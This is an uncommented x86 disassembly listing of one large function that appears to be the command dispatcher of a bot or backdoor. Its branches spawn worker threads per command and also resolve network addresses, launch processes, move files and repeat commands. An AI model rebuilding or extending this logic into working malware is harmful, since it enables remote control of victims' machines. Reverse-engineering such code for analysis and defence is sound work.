add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41BF70
mov esi, eax
lea eax, [ebp+var_2C0]
push esi
push offset dword_42C94C
push eax
call sub_41BEF6
add esp, 20h
cmp esi, ebx
jz loc_409567
push edi
call sub_41BDE9
test eax, eax
pop ecx
jle loc_409567
push edi
call sub_41BDE9
cmp eax, 400h
pop ecx
jge loc_409567
push ebx
lea eax, [ebp+var_2C0]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
push dword_441254[eax]
call sub_409743
push edi
call sub_41BDE9
imul eax, 234h
add esp, 18h
cmp byte ptr dword_441048[eax], 73h
jnz loc_409567
push esi
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
add eax, offset byte_441260
push eax
push [ebp+arg_18]
push offset dword_42C93C
loc_40782D: ; CODE XREF: sub_401AA1+5E86j
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
jmp loc_40401B
; ---------------------------------------------------------------------------
loc_407857: ; CODE XREF: sub_401AA1+4E10j
; sub_401AA1+4E27j
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
cmp byte_441260[eax], bl
jz loc_409567
cmp [ebp+var_C], ebx
jz loc_409567
push [ebp+arg_18]
call sub_41B650
push edi
mov esi, eax
call sub_41B650
push [ebp+arg_8]
add esi, eax
call sub_41B650
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41BF70
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409567
push edi
call sub_41BDE9
test eax, eax
pop ecx
jle loc_409567
push edi
call sub_41BDE9
cmp eax, 400h
pop ecx
jge loc_409567
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
push dword_441254[eax]
call sub_409743
push edi
call sub_41BDE9
imul eax, 234h
add esp, 18h
cmp byte ptr dword_441048[eax], 73h
jnz loc_409567
push esi
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
add eax, offset byte_441260
push eax
push [ebp+arg_18]
push offset dword_42C92C
jmp loc_40782D
; ---------------------------------------------------------------------------
loc_40792C: ; CODE XREF: sub_401AA1+4DE2j
; sub_401AA1+4DF9j
push edi
call dword_4CE348 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_680], eax
call sub_41BDE9
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41BDE9
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41BC60
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_2C0]
push offset dword_42C8B8
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40B254
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset sub_40C840
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jz loc_40771F
jmp short loc_407A06
; ---------------------------------------------------------------------------
loc_4079FE: ; CODE XREF: sub_401AA1+5F6Bj
push 32h
call dword_428080 ; Sleep
loc_407A06: ; CODE XREF: sub_401AA1+5F5Bj
cmp [ebp+var_670], ebx
jz short loc_4079FE
jmp loc_403DEC
; ---------------------------------------------------------------------------
loc_407A13: ; CODE XREF: sub_401AA1+4DB4j
; sub_401AA1+4DCBj
push edi
call sub_41BDE9
push 7Fh
mov [ebp+var_1130], eax
push [ebp+arg_18]
lea eax, [ebp+var_1234]
push eax
call sub_41BC60
push [ebp+arg_0]
call sub_41BDE9
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_1134], eax
lea eax, [ebp+var_11B4]
push 80h
push eax
mov [ebp+var_123C], esi
call sub_41BFF0
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_1120], eax
push [ebp+var_1134]
lea eax, [ebp+var_1234]
mov [ebp+var_1124], edi
push eax
push [ebp+var_1130]
push esi
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42C87C
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 18h
push eax
call sub_40B254
add esp, 24h
mov [ebp+var_112C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_123C]
push ebx
push eax
push offset sub_411057
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_112C]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_407AFF
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42C838
jmp loc_403DDD
; ---------------------------------------------------------------------------
loc_407AF7: ; CODE XREF: sub_401AA1+6064j
push 32h
call dword_428080 ; Sleep
loc_407AFF: ; CODE XREF: sub_401AA1+6043j
cmp [ebp+var_111C], ebx
jz short loc_407AF7
jmp loc_403DEC
; ---------------------------------------------------------------------------
loc_407B0C: ; CODE XREF: sub_401AA1+4D86j
; sub_401AA1+4D9Dj
push 0FFh
lea eax, [ebp+var_287C]
push edi
push eax
call sub_41BC60
push 0FFh
lea eax, [ebp+var_277C]
push [ebp+arg_18]
push eax
call sub_41BC60
push [ebp+arg_0]
mov [ebp+var_2678], ebx
call sub_41BDE9
mov [ebp+var_2674], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407B65
push 10h
push ebx
push eax
call sub_41C435
add esp, 0Ch
mov [ebp+var_266C], eax
jmp short loc_407B6B
; ---------------------------------------------------------------------------
loc_407B65: ; CODE XREF: sub_401AA1+60AEj
mov [ebp+var_266C], ebx
loc_407B6B: ; CODE XREF: sub_401AA1+60C2j
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407B82
push esi
call sub_41BDE9
pop ecx
mov [ebp+var_2670], eax
jmp short loc_407B88
; ---------------------------------------------------------------------------
loc_407B82: ; CODE XREF: sub_401AA1+60D0j
mov [ebp+var_2670], ebx
loc_407B88: ; CODE XREF: sub_401AA1+60DFj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2668], eax
lea eax, [ebp+var_28FC]
mov [ebp+var_2900], esi
push eax
call sub_41BC60
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_2660], eax
mov eax, [ebp+var_8]
mov [ebp+var_2664], eax
push edi
lea eax, [ebp+var_2C0]
push offset dword_42C7D0
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_2C0]
push 1Dh
push eax
call sub_40B254
add esp, 28h
mov [ebp+var_267C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2900]
push ebx
push eax
push offset sub_4169AB
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_267C]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_407C39
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42C760
jmp loc_407EF2
; ---------------------------------------------------------------------------
loc_407C31: ; CODE XREF: sub_401AA1+619Ej
push 32h
call dword_428080 ; Sleep
loc_407C39: ; CODE XREF: sub_401AA1+617Dj
cmp [ebp+var_265C], ebx
jz short loc_407C31
jmp loc_407F01
; ---------------------------------------------------------------------------
loc_407C46: ; CODE XREF: sub_401AA1+4D58j
; sub_401AA1+4D6Fj
push 7Fh
lea eax, [ebp+var_3494]
pop esi
push esi
push edi
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3414]
push [ebp+arg_18]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3394]
push [ebp+arg_0]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3314]
push [ebp+var_88]
push eax
call sub_41BC60
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_3290], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_328C], eax
lea eax, [ebp+var_2C0]
push edi
push offset unk_42C720
push eax
mov [ebp+var_3498], esi
call sub_41BEF6
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 12h
push eax
call sub_40B254
add esp, 0Ch
mov [ebp+var_3294], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3498]
push ebx
push eax
push offset sub_415846
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_3294]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_407D20
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42C6E8
jmp loc_407EF2
; ---------------------------------------------------------------------------
loc_407D18: ; CODE XREF: sub_401AA1+6285j
push 32h
call dword_428080 ; Sleep
loc_407D20: ; CODE XREF: sub_401AA1+6264j
cmp [ebp+var_3288], ebx
jz short loc_407D18
jmp loc_407F01
; ---------------------------------------------------------------------------
loc_407D2D: ; CODE XREF: sub_401AA1+4C2Cj
; sub_401AA1+4C43j
push 7Fh
lea eax, [ebp+var_306C]
pop esi
push esi
push edi
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_2FEC]
push [ebp+arg_18]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_2F6C]
push [ebp+arg_0]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_2EEC]
push [ebp+var_88]
push eax
call sub_41BC60
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_2E68], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2E64], eax
lea eax, [ebp+var_2C0]
push edi
push offset unk_42C6B8
push eax
mov [ebp+var_3070], esi
call sub_41BEF6
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 0Eh
push eax
call sub_40B254
add esp, 0Ch
mov [ebp+var_2E6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3070]
push ebx
push eax
push offset sub_41458C
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_2E6C]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_407E07
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42C680
jmp loc_407EF2
; ---------------------------------------------------------------------------
loc_407DFF: ; CODE XREF: sub_401AA1+636Cj
push 32h
call dword_428080 ; Sleep
loc_407E07: ; CODE XREF: sub_401AA1+634Bj
cmp [ebp+var_2E60], ebx
jz short loc_407DFF
jmp loc_407F01
; ---------------------------------------------------------------------------
loc_407E14: ; CODE XREF: sub_401AA1+4B04j
; sub_401AA1+4B1Bj ...
push 7Fh
lea eax, [ebp+var_3CE8]
pop esi
push esi
push edi
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3C68]
push [ebp+arg_18]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3BE8]
push [ebp+arg_0]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3B68]
push [ebp+var_88]
push eax
call sub_41BC60
push 20h
lea eax, [ebp+var_3AE8]
push [ebp+arg_8]
push eax
call sub_41BC60
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_3A68], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_3A64], eax
lea eax, [ebp+var_2C0]
push edi
push offset unk_42C650
push eax
mov [ebp+var_3CF0], esi
call sub_41BEF6
add esp, 50h
lea eax, [ebp+var_2C0]
push ebx
push 0Dh
push eax
call sub_40B254
add esp, 0Ch
mov [ebp+var_3CEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset sub_413821
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_3CEC]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_407F1B
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42C618
loc_407EF2: ; CODE XREF: sub_401AA1+4D2Dj
; sub_401AA1+56ADj ...
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
add esp, 0Ch
loc_407F01: ; CODE XREF: sub_401AA1+4D42j
; sub_401AA1+56C2j ...
cmp [ebp+var_8], ebx
jnz loc_402399
push ebx
push [ebp+var_4]
jmp loc_403DF7
; ---------------------------------------------------------------------------
loc_407F13: ; CODE XREF: sub_401AA1+6480j
push 32h
call dword_428080 ; Sleep
loc_407F1B: ; CODE XREF: sub_401AA1+6443j
cmp [ebp+var_3A60], ebx
jz short loc_407F13
jmp short loc_407F01
; ---------------------------------------------------------------------------
loc_407F25: ; CODE XREF: sub_401AA1+4AD6j
; sub_401AA1+4AEDj
push 7Fh
lea eax, [ebp+var_177C]
push edi
push eax
call sub_41BC60
push [ebp+arg_18]
call sub_41BDE9
push 3Fh
mov [ebp+var_162C], eax
push [ebp+arg_0]
lea eax, [ebp+var_16FC]
push eax
call sub_41BC60
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407F70
push 3Fh
lea eax, [ebp+var_16BC]
push esi
push eax
call sub_41BC60
add esp, 0Ch
loc_407F70: ; CODE XREF: sub_401AA1+64BBj
lea eax, [ebp+var_16FC]
mov [ebp+var_1628], 1
push eax
lea eax, [ebp+var_177C]
push [ebp+var_162C]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42C5E8
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 1Fh
push eax
call sub_40B254
add esp, 20h
mov [ebp+var_1624], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1780]
push ebx
push eax
push offset sub_4017BF
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_1624]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_407FFF
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42C5AC
jmp loc_406BB4
; ---------------------------------------------------------------------------
loc_407FF7: ; CODE XREF: sub_401AA1+6564j
push 32h
call dword_428080 ; Sleep
loc_407FFF: ; CODE XREF: sub_401AA1+6543j
cmp [ebp+var_1620], ebx
jz short loc_407FF7
jmp loc_406BC3
; ---------------------------------------------------------------------------
loc_40800C: ; CODE XREF: sub_401AA1+4A96j
; sub_401AA1+4AADj
push [ebp+arg_18]
call sub_41BDE9
cmp eax, ebx
pop ecx
mov [ebp+var_1D68], eax
jle loc_4080FC
mov esi, 80h
push edi
lea eax, [ebp+var_1EF0]
push esi
push eax
call sub_41BFF0
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D64], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF4], eax
lea eax, [ebp+var_1DF0]
push esi
push eax
call sub_41BFF0
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_1D60], eax
mov eax, [ebp+var_8]
mov [ebp+var_1D5C], eax
push edi
push offset unk_42C580
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41BFF0
push ebx
lea eax, [ebp+var_2C0]
push 15h
push eax
call sub_40B254
add esp, 38h
mov [ebp+var_1D70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF4]
push ebx
push eax
push offset sub_413C65
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_1D70]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_4080EF
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42C548
jmp loc_404968
; ---------------------------------------------------------------------------
loc_4080E7: ; CODE XREF: sub_401AA1+6654j
push 32h
call dword_428080 ; Sleep
loc_4080EF: ; CODE XREF: sub_401AA1+6633j
cmp [ebp+var_1D58], ebx
jz short loc_4080E7
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_4080FC: ; CODE XREF: sub_401AA1+657Cj
push offset unk_42C510
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_408106: ; CODE XREF: sub_401AA1+4A68j
; sub_401AA1+4A7Fj
push [ebp+arg_18]
push edi
call dword_4280BC ; MoveFileA
test eax, eax
jz short loc_408136
push [ebp+arg_18]
lea eax, [ebp+var_2C0]
push edi
push offset unk_42C4EC
push 200h
push eax
call sub_41BFF0
add esp, 14h
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_408136: ; CODE XREF: sub_401AA1+6671j
push offset dword_42C4E0
call sub_4187D7
push eax
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41BFF0
add esp, 10h
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_40815A: ; CODE XREF: sub_401AA1+4A3Aj
; sub_401AA1+4A51j
push edi
lea eax, [ebp+var_3F08]
push 104h
push eax
call sub_41BFF0
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408194
push [ebp+arg_18]
push [ebp+var_C]
call sub_41BF70
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408194
push eax
lea eax, [ebp+var_3E04]
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_408194: ; CODE XREF: sub_401AA1+66D1j
; sub_401AA1+66E2j
push [ebp+var_88]
lea eax, [ebp+var_3F88]
push 80h
push eax
call sub_41BFF0
mov eax, [ebp+arg_4]
mov [ebp+var_3F8C], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_3E04]
push eax
lea eax, [ebp+var_3F08]
push eax
push offset unk_42C4B0
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41BFF0
push ebx
lea eax, [ebp+var_2C0]
push 24h
push eax
call sub_40B254
add esp, 2Ch
mov [ebp+var_3D00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8C]
push ebx
push eax
push offset sub_417240
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_3D00]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_408259
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42C474
loc_40823D: ; CODE XREF: sub_401AA1+9F9j
; sub_401AA1+A1Fj ...
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
add esp, 0Ch
jmp loc_402399
; ---------------------------------------------------------------------------
loc_408251: ; CODE XREF: sub_401AA1+67BEj
push 32h
call dword_428080 ; Sleep
loc_408259: ; CODE XREF: sub_401AA1+678Ej
cmp [ebp+var_3CF4], ebx
jz short loc_408251
jmp loc_402399
; ---------------------------------------------------------------------------
loc_408266: ; CODE XREF: sub_401AA1+4A0Cj
; sub_401AA1+4A23j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41BC00
mov [ebp+var_668], esi
xor esi, esi
inc esi
push edi
mov [ebp+var_63C], esi
mov [ebp+var_638], bx
call sub_41BDE9
add esp, 10h
cmp eax, esi
jnz short loc_4082A3
mov [ebp+var_638], 5
loc_4082A3: ; CODE XREF: sub_401AA1+67F7j
cmp [ebp+var_C], ebx
jz loc_406BC3
push [ebp+arg_18]
push [ebp+var_C]
call sub_41BF70
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406BC3
lea eax, [ebp+var_E34]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_428074 ; CreateProcessA
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_4082F4
push offset unk_42C450
jmp loc_40616F
; ---------------------------------------------------------------------------
loc_4082F4: ; CODE XREF: sub_401AA1+6847j
push edi
push offset dword_42C434
jmp loc_406BBA
; ---------------------------------------------------------------------------
loc_4082FF: ; CODE XREF: sub_401AA1+49DEj
; sub_401AA1+49F5j
push [ebp+arg_18]
push offset dword_42A990
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40846F
lea eax, [ebp+var_4BF8]
push eax
push 104h
call dword_4280B8 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_25D4]
push edi
push eax
call sub_41BC60
lea eax, [ebp+var_17D4]
push eax
call sub_40AA48
push eax
lea eax, [ebp+var_4BF8]
push eax
lea eax, [ebp+var_24D4]
push offset dword_42C428
push eax
call sub_41BEF6
mov eax, [ebp+esi+var_84]
add esp, 20h
cmp eax, ebx
mov [ebp+var_23D0], 1
mov [ebp+var_23CC], ebx
jz short loc_408391
push 10h
push ebx
push eax
call sub_41C435
add esp, 0Ch
mov [ebp+var_23C4], eax
jmp short loc_408397
; ---------------------------------------------------------------------------
loc_408391: ; CODE XREF: sub_401AA1+68DAj
mov [ebp+var_23C4], ebx
loc_408397: ; CODE XREF: sub_401AA1+68EEj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_4083AE
push esi
call sub_41BDE9
pop ecx
mov [ebp+var_23C8], eax
jmp short loc_4083B4
; ---------------------------------------------------------------------------
loc_4083AE: ; CODE XREF: sub_401AA1+68FCj
mov [ebp+var_23C8], ebx
loc_4083B4: ; CODE XREF: sub_401AA1+690Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23C0], eax
lea eax, [ebp+var_2654]
mov [ebp+var_2658], esi
push eax
call sub_41BC60
mov eax, [ebp+var_4]
push edi
mov [ebp+var_23B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2C0]
push offset dword_42C3D8
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_2C0]
push 1Eh
push eax
call sub_40B254
add esp, 24h
mov [ebp+var_23D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2658]
push ebx
push eax
push offset sub_4169AB
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_23D4]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_408462
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42C370
jmp loc_406BB4
; ---------------------------------------------------------------------------
loc_40845A: ; CODE XREF: sub_401AA1+69C7j
push 32h
call dword_428080 ; Sleep
loc_408462: ; CODE XREF: sub_401AA1+69A6j
cmp [ebp+var_23B4], ebx
jz short loc_40845A
jmp loc_406BC3
; ---------------------------------------------------------------------------
loc_40846F: ; CODE XREF: sub_401AA1+686Fj
push offset dword_42C300
jmp loc_406169
; ---------------------------------------------------------------------------
loc_408479: ; CODE XREF: sub_401AA1+49B0j
; sub_401AA1+49C7j
push [ebp+var_8C]
push offset dword_42F4C4
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_401F20
cmp [ebp+var_C], ebx
jz loc_401F20
push [ebp+arg_18]
push [ebp+var_C]
call sub_41BF70
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42C2EC
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BC60
push edi
call sub_41BDE9
add esp, 30h
test eax, eax
jle short loc_408500
push edi
call sub_41BDE9
imul eax, 3E8h
pop ecx
push eax
call dword_428080 ; Sleep
loc_408500: ; CODE XREF: sub_401AA1+6A49j
push offset dword_42C2BC
call sub_415F45
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401F23
; ---------------------------------------------------------------------------
loc_408514: ; CODE XREF: sub_401AA1+4982j
; sub_401AA1+4999j
push [ebp+var_8C]
push offset dword_42F4C4
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_401F20
cmp [ebp+var_C], ebx
jz loc_409567
push [ebp+arg_18]
push [ebp+var_C]
call sub_41BF70
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_41C6E0
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+var_2C0]
jz short loc_4085D0
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42C2EC
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BC60
push esi
lea eax, [ebp+var_2C0]
push offset dword_42C288
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
push edi
call sub_41BDE9
add esp, 38h
test eax, eax
jle loc_409567
push edi
call sub_41BDE9
add eax, [ebp+arg_24]
pop ecx
jmp loc_401F23
; ---------------------------------------------------------------------------
loc_4085D0: ; CODE XREF: sub_401AA1+6ABEj
push offset dword_42C238
push eax
call sub_41BEF6
add esp, 0Ch
jmp loc_408EDB
; ---------------------------------------------------------------------------
loc_4085E3: ; CODE XREF: sub_401AA1+4954j
; sub_401AA1+496Bj
push 7Fh
lea eax, [ebp+var_2218]
push edi
push eax
call sub_41BC60
push 7Fh
lea eax, [ebp+var_2198]
push [ebp+arg_18]
push eax
call sub_41BC60
push 7Fh
lea eax, [ebp+var_2118]
push [ebp+var_88]
push eax
call sub_41BC60
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov esi, [ebp+arg_4]
mov [ebp+var_2094], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2090], eax
lea eax, [ebp+var_2C0]
push offset unk_42C200
push eax
mov [ebp+var_221C], esi
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 0Fh
push eax
call sub_40B254
add esp, 40h
mov [ebp+var_2098], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_221C]
push ebx
push eax
push offset sub_415189
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_2098]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_4086A7
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42C1C4
jmp loc_40876B
; ---------------------------------------------------------------------------
loc_40869F: ; CODE XREF: sub_401AA1+6C0Cj
push 32h
call dword_428080 ; Sleep
loc_4086A7: ; CODE XREF: sub_401AA1+6BEBj
cmp [ebp+var_208C], ebx
jz short loc_40869F
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_4086B4: ; CODE XREF: sub_401AA1+4926j
; sub_401AA1+493Dj
push 7Fh
lea eax, [ebp+var_23AC]
push edi
push eax
call sub_41BC60
push 7Fh
lea eax, [ebp+var_232C]
push [ebp+arg_18]
push eax
call sub_41BC60
push 7Fh
lea eax, [ebp+var_22AC]
push [ebp+var_88]
push eax
call sub_41BC60
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov esi, [ebp+arg_4]
mov [ebp+var_2228], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2224], eax
lea eax, [ebp+var_2C0]
push offset dword_42C198
push eax
mov [ebp+var_23B0], esi
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 11h
push eax
call sub_40B254
add esp, 40h
mov [ebp+var_222C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23B0]
push ebx
push eax
push offset sub_414931
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_222C]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_4087A2
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42C15C
loc_40876B: ; CODE XREF: sub_401AA1+6BF9j
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
add esp, 0Ch
loc_40877A: ; CODE XREF: sub_401AA1+6C0Ej
; sub_401AA1+6D09j
cmp [ebp+var_8], ebx
jnz loc_403F55
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_403F4D
; ---------------------------------------------------------------------------
loc_40879A: ; CODE XREF: sub_401AA1+6D07j
push 32h
call dword_428080 ; Sleep
loc_4087A2: ; CODE XREF: sub_401AA1+6CBCj
cmp [ebp+var_2220], ebx
jz short loc_40879A
jmp short loc_40877A
; ---------------------------------------------------------------------------
loc_4087AC: ; CODE XREF: sub_401AA1+48F8j
; sub_401AA1+490Fj
push [ebp+arg_18]
lea eax, [ebp+var_2C0]
push offset dword_42C154
push eax
call sub_41BEF6
push edi
call sub_41BDE9
add esp, 10h
loc_4087C9: ; CODE XREF: sub_401AA1+6D8Fj
test eax, eax
jle loc_409567
push edi
call sub_41BDE9
cmp eax, 400h
pop ecx
jge loc_409567
loc_4087E3: ; CODE XREF: sub_401AA1+7812j
lea eax, [ebp+var_2C0]
push eax
push offset dword_42C14C
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
push dword_441254[eax]
call sub_4096FD
jmp loc_4048B7
; ---------------------------------------------------------------------------
loc_40880C: ; CODE XREF: sub_401AA1+48CAj
; sub_401AA1+48E1j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C0]
push [ebp+arg_18]
push offset dword_42C140
push eax
call sub_41BEF6
push edi
call sub_41BDE9
add esp, 14h
jmp short loc_4087C9
; ---------------------------------------------------------------------------
loc_408832: ; CODE XREF: sub_401AA1+489Cj
; sub_401AA1+48B3j
push [ebp+arg_18]
lea eax, [ebp+var_2C0]
push offset dword_42DAA8
push eax
call sub_41BEF6
push edi
call sub_41BDE9
add esp, 10h
test eax, eax
jle loc_409567
push edi
call sub_41BDE9
cmp eax, 400h
pop ecx
jge loc_409567
lea eax, [ebp+var_2C0]
push eax
